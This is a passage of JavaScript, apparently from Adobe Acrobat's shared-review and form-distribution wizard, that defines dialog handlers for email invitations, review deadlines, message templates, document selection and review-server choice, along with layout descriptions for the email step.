					    if(invalidIDsOpt != "")    

					        invalidIDsReq = invalidIDsReq + invalidIDsOpt;     



					    app.beginPriv();

					    var result = app.alert(AnnotsString.IDS_SHARED_REVIEW_UNRESOLVED_MAIL_IDS.replace(/%mailids%/, invalidIDsReq), 1, 1);

					    app.endPriv();



   					    if(result != 1)

							DebugThrow("The email addresses are not valid. So try again.");



					}



			},





			idle: function(dialog)

			{

				// The "To" field should not be empty

				// The "subj" should not be empty

				// The Message Body should not be empty

				var props = dialog.store();

				var toEnable = {};

				var toLoad = {};

                if(this.data.reviewType == "FormDistribution")

				{

                    if(this.data.server.UI != SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT) && this.data.server.UI != AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL && this.data.server.UI != SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER" + WT))

                        toEnable.prev = false;

                    toEnable.dlvL = false;

                }

                if (this.data.distributionMethod != "MANUAL")

					toLoad.next = AnnotsString.IDS_SEND;

				

				var s = this.splitAddrs(props.reqR);

				var t = this.splitAddrs(props.optR);



                if(this.data.reviewType == "SharedReviewEmail" && this.data.action == "ChangeDeadline")

                    toEnable.next = false;

                else if (this.data.reviewType == "SharedReviewEmail" && this.data.action == "AddReviewers")

                	toEnable.next = (s.length > 0) || (t.length > 0);

                else

                {      

				    if(this.data.distributionMethod == "MANUAL")

					    toEnable.next = true; // Optional for manual

				    else toEnable.next = (s.length > 0);

                }

                

				if(this.data.internalDeadline != internalDeadlineDate)

				{

					if(this.data.action == "ChangeDeadline")

					{

						/*this.data.msg = this.data.msg.replace(this.data.deadline, deadlineDate);

						this.data.subj = this.data.subj.replace(this.data.deadline, deadlineDate);

						toLoad.mesg = this.data.msg;

						toLoad.subj = this.data.subj;*/

						toEnable.next = true;

					}

					if(internalDeadlineDate != "")

					{

    				    var year = parseInt(internalDeadlineDate.substr(2, 4), 10);

					    var month = parseInt(internalDeadlineDate.substr(6, 2), 10);

					    var day = parseInt(internalDeadlineDate.substr(8, 2), 10);

					    var hours = parseInt(internalDeadlineDate.substr(10, 2), 10);

					    var minutes = parseInt(internalDeadlineDate.substr(12, 2), 10);

					    var seconds = parseInt(internalDeadlineDate.substr(14, 2), 10); 

					    objectDeadlineDate.setUTCFullYear(year, month-1, day);

					    objectDeadlineDate.setUTCHours(hours, minutes, seconds);

    				}

				}

				

				dialog.load(toLoad);

				dialog.enable(toEnable);

			},

			

			addr: function(dialog)

			{

				this.updateAddrs(dialog, false);

				

				var addrs;

				try

				{

					var joinedReqR = this.data.reqR.join(";");

					var joinedoptR = this.data.optR.join(";");

					app.beginPriv();

					addrs = app.mailGetAddrs({ cTo: joinedReqR, cCc: joinedoptR, bCc: true, bBcc: false });

					app.endPriv();

				}

				catch(e)

				{

					// XXX ugh... need to catch throws about invalid e-mail addresses sep. from cancellation throws

				}

				

				if(addrs)

				{

					this.data.reqR = this.splitAddrs(addrs[0]);

					if(this.data.reviewType != "FormDistribution" && this.data.reviewType != "FormDistributionEmail")

						this.data.optR = this.splitAddrs(addrs[1]);

					this.updateAddrs(dialog, true);

				}

			},

			

			dlvL: function(dialog)

			{

				this.data.deliveryMethodLinkClicked = true;

				dialog.previous();

			},



			pLnk: function(dialog)

			{

				if (this.data.reviewType == "SharedReviewEmail" && this.data.action == "ChangeDeadline")

					this.data.msg = this.getDeadlineMessage();

				else

					this.data.msg = this.replaceParamsByValues(this.getDefaultEmailMessage());



				if ((this.data.distributionMethod == "UPLOAD") && (this.data.UseDocumentCenter == true))

				{

					if (this.data.reviewType == "ShareFile")

						this.data.msg = this.data.msg + AnnotsString.IDS_SHARE_FILE_PREVIEW_EMAIL_ADDON;

					else

						this.data.msg = this.data.msg + AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL_ADDON

				}

				dialog.load({mesg: this.data.msg});

			},

			

			dlnk: function(dialog)

			{

			   app.beginPriv();

			   Collab.getDateAndTime(internalDeadlineDate);

			   app.endPriv(); 

			   

			   var toLoad = {};

			   var toEnable = {};

			   

			   //deadlineDate variable is getting updated in setDateAndTime which is being called by C++ implementation fo getDateAndTime

			   if(this.data.reviewType== "SharedReviewEmail" && this.data.action == "ChangeDeadline")

			   {

					   

				   	if(deadlineDate == this.data.deadline)

				   	{

					   toEnable.mesg = false;

					   toEnable.subj = false;

					   toEnable.pLnk = false;

					   toLoad.subj = "";

	     		   	   toLoad.mesg = "";

					}

					else

					{

					   toEnable.mesg = true;

					   toEnable.subj = true;

					   toEnable.pLnk = true;

					   

					   if (this.data.distributionMethod == "EMAIL")

					   {

					       if (deadlineDate == AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE)

					       {

					           toLoad.subj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_SUBJ_SR;

					           toLoad.mesg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_REMOVE_DEADLINE_ATTACHED_EMAIL_SR + "\n\n" + AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_CLICK_SR;

					           toLoad.subj = toLoad.subj.replace(/%docname%/, (this.data.cDocumentName));

					           toLoad.mesg = toLoad.mesg.replace(/%docname%/, (this.data.cDocumentName));

					       }

					       else

					       if (this.data.deadline == AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE)

					       {

					           toLoad.subj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_SUBJ_SR;

					           toLoad.mesg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_ATTACHED_EMAIL_SR + "\n\n" + AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_CLICK_SR;

					           toLoad.subj = toLoad.subj.replace(/%docname%/, (this.data.cDocumentName));

					           toLoad.mesg = toLoad.mesg.replace(/%docname%/, (this.data.cDocumentName));

					           toLoad.mesg = toLoad.mesg.replace(/%newdeadline%/, deadlineDate);

					       }

					       else

					       {

					           toLoad.subj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_SUBJ_SR;

					           toLoad.mesg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_EMAIL_SR + "\n\n" + AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_CLICK_SR;

					           toLoad.subj = toLoad.subj.replace(/%docname%/, (this.data.cDocumentName));

					           toLoad.mesg = toLoad.mesg.replace(/%docname%/, (this.data.cDocumentName));

					           toLoad.mesg = toLoad.mesg.replace(/%olddeadline%/, this.data.deadline);

					           toLoad.mesg = toLoad.mesg.replace(/%newdeadline%/, deadlineDate);

					       }

					   }

					   else

					   if (this.data.distributionMethod == "UPLOAD")

					       {

					       if (deadlineDate == AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE)

					       {

					            toLoad.subj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_SUBJ_SR;

					            toLoad.mesg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_REMOVE_DEADLINE_ATTACHED_EMAIL_SR + "\n\n" + AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_UPLOAD_SR;

					            toLoad.subj = toLoad.subj.replace(/%docname%/, (this.data.cDocumentName));

					            toLoad.mesg = toLoad.mesg.replace(/%docname%/, (this.data.cDocumentName));

					            toLoad.mesg = toLoad.mesg.replace(/%review_url%/, ANSMBURLToPlatformPath(this.data.distributionURL));

					       }

					       else

					       if (this.data.deadline == AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE)

					       {

					            toLoad.subj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_SUBJ_SR;

					            toLoad.mesg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_ATTACHED_EMAIL_SR + "\n\n" + AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_UPLOAD_SR;

					            toLoad.subj = toLoad.subj.replace(/%docname%/, (this.data.cDocumentName));

					            toLoad.mesg = toLoad.mesg.replace(/%docname%/, (this.data.cDocumentName));

					            toLoad.mesg = toLoad.mesg.replace(/%newdeadline%/, deadlineDate);

					            toLoad.mesg = toLoad.mesg.replace(/%review_url%/, ANSMBURLToPlatformPath(this.data.distributionURL));

					       }

					       else

					       {

					            toLoad.subj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_SUBJ_SR;

					            toLoad.mesg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_EMAIL_SR + "\n\n" + AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_UPLOAD_SR;

					            toLoad.subj = toLoad.subj.replace(/%docname%/, (this.data.cDocumentName));

					            toLoad.mesg = toLoad.mesg.replace(/%docname%/, (this.data.cDocumentName));

					            toLoad.mesg = toLoad.mesg.replace(/%olddeadline%/, this.data.deadline);

					            toLoad.mesg = toLoad.mesg.replace(/%newdeadline%/, deadlineDate);

					            toLoad.mesg = toLoad.mesg.replace(/%review_url%/, ANSMBURLToPlatformPath(this.data.distributionURL));

					       }

					   }

				  }				  

			  }



    		  toLoad.dydt = deadlineDate;

				  

			  dialog.enable(toEnable);

			  dialog.load(toLoad);

			},

			

			adrb: function(dialog)

			{

				this.addr(dialog);				

			},



			help: function(dialog)

			{

				var helpID = "";

				

				if ((this.data.reviewType == "SharedReview")|| (this.data.reviewType == "SharedReviewEmail"))

					helpID = "Review_Start";

				else if ((this.data.reviewType == "FormDistribution")|| (this.data.reviewType == "FormDistributionEmail"))

					helpID = "Forms_Distribute";

				else if (this.data.reviewType == "ShareFile")

					helpID = "RTC_Share";

				

				app.beginPriv();

				Collab.launchHelpViewer(helpID);

				app.endPriv();

			},



			commit: function(dialog, next)

			{

				if (this.data.UseDocumentCenter)

				{

					this.data.accessLevel = accessLevels[this.getSelectedItemText("pAcl")];

				}

				else

					this.data.accessLevel = 0; //Invalid

				

				// Get the email addresses from to/cc

				this.updateAddrs(dialog, false);

				

				if(next)

				{		

                    // Fix for bug# 3222368, 3222202 - This functioanlity is also available on mac for webmail - installed mail client will still not resolve addresses

                                            //fix for bug 1684008

					if(!(this.data.reviewType == "FormDistribution" && this.data.distributionMethod == "MANUAL"))

					{

						this.resolveAddrs(dialog);

					}

					

					// Get the Subject

					// Get the Message Body

					

					var o = dialog.store();			



					this.data.msg = o["mesg"];

					

					var addon1 = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL_ADDON;

					var addon2 = AnnotsString.IDS_SHARE_FILE_PREVIEW_EMAIL_ADDON;

					

					//fix for bug 1744936 

					if(app.platform == "MAC")

					{

						addon1 = escape(addon1);

						addon1 = addon1.replace(/%0D%0A/g, "%0D");

						addon1 = unescape(addon1);

						

						addon2 = escape(addon2);

						addon2 = addon2.replace(/%0D%0A/g, "%0D");

						addon2 = unescape(addon2); 

					}

					

					

					var bakupMessage = this.data.msg;

					bakupMessage = bakupMessage.replace(addon1, "");

					bakupMessage = bakupMessage.replace(addon2, ""); 

 		

					if (this.data.reviewType != "SharedReviewEmail" && this.data.reviewType != "FormDistributionEmail")

					{

						if (this.data.reviewType != "ShareFile")

						{

							switch (this.data.distributionMethod)

							{

								case "EMAIL":

								{

									//a. replace all occurrences of the filename in the message with /%review_name%/

									while(bakupMessage.indexOf((this.data.cDocumentName)) != -1)

										bakupMessage = bakupMessage.replace((this.data.cDocumentName), "%docname%");

									break;

								}

								case "UPLOAD":

								{

									// a. replace all occurences of the review url with /%review_url%/

									

									var tempURL;

							

									if (this.data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/SMB")

									    tempURL = ANSMBURLToPlatformPath(this.data.distributionURL)

									else if (this.data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint") // Fix for bug4166369 : As we already have an encoded URL in case of SharePoint, no need to encode it again.

									    tempURL = this.data.distributionURL;

									else

									    tempURL = encodeURI(this.data.distributionURL);

									

									while(bakupMessage.indexOf(tempURL) != -1)

										bakupMessage = bakupMessage.replace(tempURL, "%review_url%");

									

									// b. replace all occcurences of the filename with /%review_name%/

									while(bakupMessage.indexOf((this.data.cDocumentName)) != -1)

										bakupMessage = bakupMessage.replace((this.data.cDocumentName), "%docname%");

									break;

								}

								case "MANUAL":

								{

									break;

								}

							}

						}

						app.beginPriv();

						Collab.setCustomEmailMessage(bakupMessage, this.data.distributionMethod, this.data.reviewType, this.data.UseDocumentCenter);

						app.endPriv();

					}

					else 

					{

					}



					this.data.subj = o["subj"];



                    if (this.data.reviewType == "SharedReview")

					{

					    app.beginPriv();

					    Collab.setCustomServerLink('Latest', this.data.server.URL);

					    app.endPriv();

					}



					if (this.data.reviewType == "FormDistribution")

					{

						if(this.dialog.store()["anny"])

							this.data.allowAnonymous = true;

						else

							this.data.allowAnonymous = false;

					}



                    if(this.data.reviewType == "SharedReview" || this.data.reviewType == "SharedReviewEmail")

                    {

                        if(this.data.internalDeadline != internalDeadlineDate)

                        {

        			        this.data.deadline = deadlineDate;

	        		        this.data.internalDeadline = internalDeadlineDate;

	        		        if(this.data.internalDeadline != "") 

           					    this.data.oDeadline = objectDeadlineDate; 

	    		        }

                    }

				}

				else

				{

					var currMessage = dialog.store()["mesg"];

				//	app.alert("this.data.msg:"+escape(this.data.msg)+"!!\n\nmesg:"+escape(currMessage)+"!!");

				

					if(app.platform == "MAC")

					{

						this.data.msg = escape(this.data.msg);

						DebugAlert("this.data.msg" + this.data.msg);

						this.data.msg = this.data.msg.replace(/%0D%0A/g, "%0D");

						DebugAlert("this.data.msg" + this.data.msg);

						this.data.msg = unescape(this.data.msg);

						DebugAlert("this.data.msg" + this.data.msg);

					}

					if (this.data.reviewType != "SharedReviewEmail" && this.data.reviewType != "FormDistributionEmail")

					{

						if (this.data.msg != currMessage)

						{

							app.beginPriv();

							var ret_val = app.alert(AnnotsString.IDS_INVITE_CUSTOM_MSG_WILL_BE_LOST, 2, 2);

							app.endPriv();

							if(ret_val != 4)

								DebugThrow ("Don't lose custom message");

						}

					}

				}

			},

		}

		

		DebugAlert("reviewType" + reviewType);



		var EmailDescription = [

				{

					type:"view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					margin_height: Collab.marginHeight,

					margin_width: Collab.wizardMarginWidth, 

					alignment: "align_fill",

					elements:

					[

						{

							type: "view",

							align_children: "align_left",

							alignment: "align_fill",

							elements:

							[

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "link_text",

											name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_DELIVERY_METHOD,

											item_id: "dlvL",

										},

										{

											type: "static_text",

											name: "",

											item_id: "dlvS",

											alignment: "align_fill",

											truncate: "truncate_end",

										},

									]

								},							

								{

									type: "view",

									align_children: "align_top",

									alignment: "align_fill",

									elements:

									[

										{

											type: "button",

											name: AnnotsString.IDS_GEN_ADDRESSEE_HEADING,

											width: 20,

											item_id: "addr",

										},

										{

											type: "edit_text",

											item_id: "reqR",

											multiline: true,

											height: { prod: [ 2, { edit_text_height: [] } ] },

											alignment: "align_fill",

										}

									]

								},

								{

									type: "view",

									align_children: "align_top",

									alignment: "align_fill",

									elements:

									[

										{

											type: "button",

											name: AnnotsString.IDS_GEN_CC_HEADING,

											width: 20,

											item_id: "adrb",

										},

										{

											type: "edit_text",

											item_id: "optR",

											multiline: true,

											height: { prod: [ 2, { edit_text_height: [] } ] },

											alignment: "align_fill",

										},

									]

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_GEN_SUBJECT_HEADING,

											item_id: "sSub",

											width: 75,

											bold: true,

											font: "dialog"

										},

										{

											type: "edit_text",

											item_id: "subj",

											alignment: "align_fill",

										},

									]

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_GEN_MESSAGE_HEADING,

											item_id: "sMsg",

											width: 75,

											font: "dialog",

											bold: true,

										},

										{

											type: "image",

											item_id: "icon",

											width: 16,

											height: 16,

										},

										{

											type: "static_text",

											alignment: "align_fill",

											//width: 250,

											item_id: "aDoc",

											truncate: "truncate_end",											

										},

/*										{

											type: "static_text",

											name: "", 

											alignment: "align_fill",

										},

*/										{

											type: "link_text",

											name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_RESET_DEFAULT,

											alignment: "align_right",

											item_id: "pLnk",

										},

									]

								},

								{

									type: "edit_text",

									item_id: "mesg",

									alignment: "align_fill",

									multiline: true, 

									height: { prod: [ 5, { edit_text_height: [] } ] },

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_ACCESS_LEVEL,

											item_id: "sAcl",

										},

										{

											type: "popup",

											item_id: "pAcl",

											alignment: "align_fill",

										},

									]

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "link_text",

											name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_DEADLINE_REVIEW,

											item_id: "dlnk",

										},

										{

											type: "static_text",

											name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE,

											item_id: "dydt",

											alignment: "align_fill",

										},

 									]

								}

							]

						}

					]

				}			

			];

			

			

		var EmailDescriptionFormDistribution = [

				{

					type:"view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					margin_height: Collab.marginHeight,

					margin_width: Collab.wizardMarginWidth, 

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type: "view",

							align_children: "align_left",

							alignment: "align_fill",

							elements:

							[

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "link_text",

											name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_DELIVERY_METHOD,

											item_id: "dlvL",

										},

										{

											type: "static_text",

											name: "",

											item_id: "dlvS",

											alignment: "align_fill",

										},

									]

								},							

								{

									type: "view",

									align_children: "align_top",

									alignment: "align_fill",

									elements:

									[

										{

											type: "button",

											name: AnnotsString.IDS_GEN_ADDRESSEE_HEADING,

											width: 20,

											item_id: "addr",

										},

										{

											type: "edit_text",

											item_id: "reqR",

											multiline: true,

											height: { prod: [ 2, { edit_text_height: [] } ] },

											alignment: "align_fill",

										}

									]

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_GEN_SUBJECT_HEADING,

											item_id: "sSub",

											width: 75,

											bold: true,

											font: "dialog"

										},

										{

											type: "edit_text",

											item_id: "subj",

											alignment: "align_fill",

										},

									]

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_GEN_MESSAGE_HEADING,

											item_id: "sMsg",

											width: 75,

											font: "dialog",

											bold: true,

										},

										{

											type: "image",

											item_id: "icon",

											width: 16,

											height: 16,

										},

										{

											type: "static_text",

											alignment: "align_fill",

											//width: 250,

											item_id: "aDoc",

											truncate: "truncate_end",											

										},

/*										{

											type: "static_text",

											name: "", 

											alignment: "align_fill",

										},

*/										{

											type: "link_text",

											name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_RESET_DEFAULT,

											alignment: "align_right",

											item_id: "pLnk",

										},

									]

								},

								{

									type: "edit_text",

									item_id: "mesg",

									alignment: "align_fill",

									multiline: true, 

									height: { prod: [ 8, { edit_text_height: [] } ] },

								},							

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_ACCESS_LEVEL,

											item_id: "sAcl",

										},

										{

											type: "popup",

											item_id: "pAcl",

											alignment: "align_fill",

										},

									]

								},

								{

									type:"check_box",

									name: AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_ALLOW_ANONYMOUS,

									item_id:"anny",

								},

							]

						}

					]

				}			

			];

			

		if(reviewType == "FormDistribution" || reviewType == "FormDistributionEmail")

		{

			description.description = EmailDescriptionFormDistribution;

				

		}

		else

			description.description = EmailDescription;

		

		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		return description;

	}

	

	

			

			

	CBCreateGettingStartedStepDescription = function(reviewType, checkSize)

	{

		var description = 

		{

			reviewType: reviewType,

			isApproval: (reviewType == "APP"),

			checkSize: checkSize,

			initialize: function(dialog)

			{

				if(!this.data.docPath)

					this.data.docPath = "";

				this.updateDocs(dialog);

				dialog.focus("brws");

				var toLoad = {};



				if(this.reviewType == "SharedReview")

				{

					this.data.canReaderEnable = 

						(app.viewerType.match('Exchange-Pro') != null);

					this.updateServers(dialog);



					if(this.data.canReaderEnable)

						toLoad.enbl = this.data.readerEnable;

				}

				dialog.load(toLoad);

			},



			updateDocs: function()

			{

				app.beginPriv();

				var docs = app.activeDocs;

				app.endPriv();

				

				var fils = {};

				var didSelect = false;



				for(var i in docs)

				{

					var doc = docs[i];

					

					if(!doc.external && !doc.isInProtectedView)

					{

						var select = (doc.path == this.data.docPath);

						//bugfix #2511162 we should check for doc.isInCollection in case of approval workflow also 

						if((this.reviewType != "EBR" && this.reviewType != "APP")|| !doc.isInCollection)

						    fils[doc.documentFileName] = (1 + (1*i)) * (select ? 1 : -1);

						if(select)

							didSelect = true;

					}

				}



				if(!didSelect && this.data.docPath)

					fils[this.data.docPath.match(/[^\/]*$/)[0]] = docs.length + 1;

					

				this.dialog.load({fils: fils});

			},



			updateServers: function()

			{

				app.beginPriv();

				var servers = Collab.reviewServers;

				app.endPriv();

				

				var srvr = {};

				var didSelect = false;

				var idx = 1;

				var bServerDefault = false;



				for(var i in servers)

				{

					var server = servers[i];

					var currIndex = idx++;

					if(!server.Default)

						currIndex = -currIndex;

					else bServerDefault = true;



					srvr[server.UI] = currIndex;

				}



				if(!bServerDefault && servers.length > 0)

				{

					var server = servers[0];

					srvr[server.UI] = -srvr[server.UI];

				}



				this.dialog.load({srvr: srvr});

			},



			adds: function(dialog)

			{

				var wiz = CBTrustPropagateWiz({

					finishString: AnnotsString.IDS_SHARED_REVIEW_ADD_SERVER_WIZ_FINISH,

					title: AnnotsString.IDS_SHARED_REVIEW_ADD_SERVER_TITLE,

					steps:

					[

						{	// Step 1: Select Server Type

							creator: function(data) { return CBSharedReviewSelectServerTypeDescription(data); },

							heading: AnnotsString.IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_STEP_HEADING,

							title: AnnotsString.IDS_SHARED_REVIEW_SELECT_SERVER_TYPE_STEP_TITLE,

							noSteps: true,

						},

						{	// Step 2: Configure

							creator: function(data) { return CBSharedReviewConfigureServerStepDescription(data); },

							heading: AnnotsString.IDS_SHARED_REVIEW_CONFIGURE_SERVER_STEP_HEADING,

							title: AnnotsString.IDS_SHARED_REVIEW_CONFIGURE_SERVER_STEP_TITLE,

							noSteps: true,

						},

					]

				});

				

				CBRunSimpleWiz(wiz, 0, -1, this.data);

				if(this.data.result == "fnsh")

				{

					var server = this.data.toAdd.server;

					var config = this.data.toAdd.config;

					var name = this.data.toAdd.name;



					app.beginPriv();

					Collab.addReviewServer(server.driverURL, name, config);

					Collab.setDefaultReviewServer(server.driverURL, name, this.data.reviewType);

					app.endPriv();



					this.updateServers();

				}

			},



			brws: function(dialog)

			{

				app.beginPriv()

				var p = app.browseForDoc();

				app.endPriv();

				

				if(p)

				{

					 if(p.cFS == "CSP")

		            {

		                app.beginPriv();

				        app.alert(AnnotsString.IDS_WORKFLOW_ERROR_DUETO_BROWSE_SHAREPOINT_FILE);

				        app.endPriv();

				        return;

		            }

                    else

                    {

					    var fileChoosen = p.cPath;

					    if(!fileChoosen.match(/\.pdf$/i))

					    {

						    app.beginPriv();

						    app.alert(AnnotsString.IDS_NON_PDF_FILE_CHOOSEN_FOR_REVIEW);

						    app.endPriv();

        				    return;

					    }

					    this.data.docPath = p.cPath;

                	    this.data.docFS = p.cFS;

					    this.updateDocs();

					}

				}

			},



			findSelectedIndex: function(id)

			{

				var o = this.dialog.store()[id];



				for(var i in o)

				{

					if(o[i] > 0)

						return o[i] - 1;

				}

				return -1;

			},



			idle: function(dialog)

			{

				var bResult = this.findSelectedIndex('fils') >= 0;

				if(reviewType == "SharedReview") 

					bResult = bResult && this.findSelectedIndex('srvr') >= 0;



				this.dialog.enable({next: bResult});

			},



			commit: function(dialog, next)

			{

				app.beginPriv();

				var docs = app.activeDocs;

				app.endPriv();

			

				var i = this.findSelectedIndex("fils");

				

				if(i >= 0 && i < docs.length)

					this.data.docPath = docs[i].path;

					

				if(next)

				{

					// no doc or different doc

					if(typeof this.data.doc == "undefined" || !this.data.doc || (this.data.doc && this.data.doc.path != this.data.docPath))

					{

						// close any doc that was selected if we opened it

						if(this.data.doc && this.data.doc.hidden)

						{

							this.data.doc.closeDoc(true);

							this.data.doc = null;

						}

						// open the new one

						app.beginPriv();

						this.data.doc = app.openDoc({ cFS: this.data.docFS, cPath: this.data.docPath, bHidden: true, bUseConv: true });

						app.endPriv();

						// we've changed the file name, so re-burn the message

						this.data.msgChanged = true;

					}



					if(this.data.doc)

					{

						app.beginPriv();

						var maxPDFCommentsSize = Collab.maxPDFCommentsSize;

						app.endPriv();



						if(this.checkSize && this.data.doc.filesize > (1024 * 1024 * maxPDFCommentsSize))

						{

							// confirm that the large file is ok

							app.beginPriv();

							var result = app.alert(AnnotsString.IDS_SEND_FOR_REVIEW_DOC_IS_LARGE.replace(/%mb%/, maxPDFCommentsSize), 2, 2);

							app.endPriv();

							

							if(result != 4)

								DebugThrow ("Big doc");

						}

		

						// is this doc related to an email review? (but not THE email review, i.e. subreview)

						if(Collab.isEmailReview(this.data.doc, true) && !this.data.doc.Collab.isEmailReview(this.data.doc, false))

						{

							app.beginPriv();

							app.alert(this.isApproval ? AnnotsString.IDS_CANT_APPROVE_LAX_EMAIL_MATCH : AnnotsString.IDS_CANT_REVIEW_LAX_EMAIL_MATCH);

							app.endPriv();

							DebugThrow ("Lax review match");

						}



						// part of an on-line review?

						if(Collab.isOnlineReview(this.data.doc, false) || (this.reviewType == "BBR" && Collab.isOfflineReview(this.data.doc)))

						{

							app.beginPriv();

							app.alert(this.isApproval ? AnnotsString.IDS_CANT_APPROVE_ALREADY_BBR : AnnotsString.IDS_CANT_REVIEW_ALREADY_BBR);

							app.endPriv();

							DebugThrow ("On-line review match");

						}



						// Review of a dynamic document is not allowed.

						// Tell the user they can save a flat copy and send the dynamic doc out as an attachment

						// 1303733 - Moved this check before checking permission.canExport (returns false for dyn docs)

						if ( !this.isApproval && this.data.doc != null && this.data.doc.dynamicXFAForm )

						{

							app.beginPriv();

							var msgboxtitle = app.viewerType == "Reader"? AnnotsString.IDS_PRODUCT_NAME_READER : AnnotsString.IDS_PRODUCT_NAME_ACROBAT;

							app.alert({cTitle:msgboxtitle, cMsg: AnnotsString.IDS_DYNAMIC_DOC_COMMENTS_MSG1, nIcon: 3});

							app.endPriv();

							DebugThrow ("Dynamic document");

						}





						// commenting not allowed?

						if(this.data.doc.requestPermission(permission.annot, permission.canExport) != permission.granted

							|| this.data.doc.requestPermission(permission.annot, permission.create) != permission.granted)

						{

							app.beginPriv();

							app.alert(this.isApproval ? AnnotsString.IDS_CANT_APPROVE_WITH_NO_PERMS : AnnotsString.IDS_CANT_REVIEW_WITH_NO_PERMS);

							app.endPriv();

							DebugThrow ("No perms");

						}



					   // Verify the perms we're gonna need at the end

					   // Note that we really only want to do this if we are ubiquitizing but we don't know

					   // that until step 3 and making the user choose a new file then is awkward.  Assume

					   // the user is going to want to ubiquitize.

						if (this.data.doc.requestPermission(permission.document, permission.fullSave) != permission.granted)

						{

							app.beginPriv();

							app.alert(AnnotsString.IDS_CANT_WORKFLOW_WITH_NO_SAVE);

							app.endPriv();

							DebugThrow ("Cannot full save");

						}



					   // Can't review a document that is in a collection

						if (this.data.doc.isInCollection)

						{

							app.beginPriv();

							app.alert(AnnotsString.IDS_PDF_PACKAGE_SEND_FOR_REVIEW);

							app.endPriv();

							DebugThrow ("Cannot full save");

						}



					}

					// XXX alert + throw if form



					if(this.reviewType == "SharedReview")

					{

						var props = dialog.store();

						this.data.readerEnable = props.enbl;

					}

				}

				// close any doc that was selected if we opened it

				else if(this.data.doc && this.data.doc.hidden)

				{

					this.data.doc.closeDoc(true);

					this.data.doc = null;

				}



				app.beginPriv();

				var servers = Collab.reviewServers;

				app.endPriv();

			

				var i = this.findSelectedIndex('srvr');

				

				if(i >= 0 && i < servers.length)

				{

					var srvr = servers[i];



					this.data.server = srvr;

					if(!srvr.Default)

					{

						app.beginPriv();

						Collab.setDefaultReviewServer(srvr.URL, srvr.UI, this.data.reviewType);

						app.endPriv();

					}

				}

			},

			description: [

				{

					type: "view",

					alignment: "align_fill",

					align_children: "align_row",

					elements:

					[

						{

							type: "popup",

							alignment: "align_fill",

							item_id: "fils"

						},

						{

							type: "button",

							name: AnnotsString.IDS_BROWSE,

							item_id: "brws"

						}

					]

				}

			]

		};



		if(reviewType == "SharedReview")

		{

			// For shared review, add the server selector



			description.description =

			[

				{

					alignment: "align_fill",

					type: "static_text",

					name: AnnotsString.IDS_SHARED_REVIEW_SERVER_SELECT_STEP_TEXT,

					wrap_name: true,

